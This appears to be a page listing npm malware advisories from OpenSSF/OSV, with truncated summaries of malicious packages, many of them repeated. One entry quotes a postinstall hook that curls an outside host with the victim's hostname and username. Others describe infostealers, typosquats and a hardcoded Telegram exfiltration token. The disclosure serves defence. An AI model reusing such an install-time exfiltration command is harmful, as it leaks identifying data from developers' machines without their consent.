npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...

OpenSSF/OSV malware advisory MAL-2026-5979 blocks this version. OSV/OpenSSF confirms easy-day-js@1.11.22 as malicious package MAL-2026-5979. Malicious code in easy-day-js (npm)

OpenSSF/OSV malware advisory MAL-2026-5749 blocks this version. package.json declares a postinstall hook that runs `curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami)` over plain...

OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...

OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...

OpenSSF/OSV malware advisory MAL-2026-5286 blocks this version. The OpenSSF Package Analysis project identified 'encrypted-archive' @ 99.0.0 (npm) as malicious.

OpenSSF/OSV malware advisory MAL-2026-4551 blocks this version. package.json declares `"postinstall": "node install.js"`, which runs at install time. install.js requires both `child_proce...

OpenSSF/OSV malware advisory MAL-2026-4551 blocks this version. package.json declares `"postinstall": "node install.js"`, which runs at install time. install.js requires both `child_proce...

OpenSSF/OSV malware advisory MAL-2026-6158 blocks this version. The npm package `enzyme-optimization-bluetooth` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive R...

OpenSSF/OSV malware advisory MAL-2026-3759 blocks this version. Package `env-threads` impersonates the legitimate `dotenv` package: its README, repository URL (`git://github.com/motdotla/...

OpenSSF/OSV malware advisory MAL-2026-3259 blocks this version. Dependency confusion and typosquatting campaign by threat actor "saif777". Packages use inflated version numbers (9999.9999...

OpenSSF/OSV malware advisory MAL-2026-4568 blocks this version. src/config.js hardcodes a live Telegram bot token (bot id 8656735452) and a default groupId (-1003974755050) pointing at a...

OpenSSF/OSV malware advisory MAL-2026-4568 blocks this version. src/config.js hardcodes a live Telegram bot token (bot id 8656735452) and a default groupId (-1003974755050) pointing at a...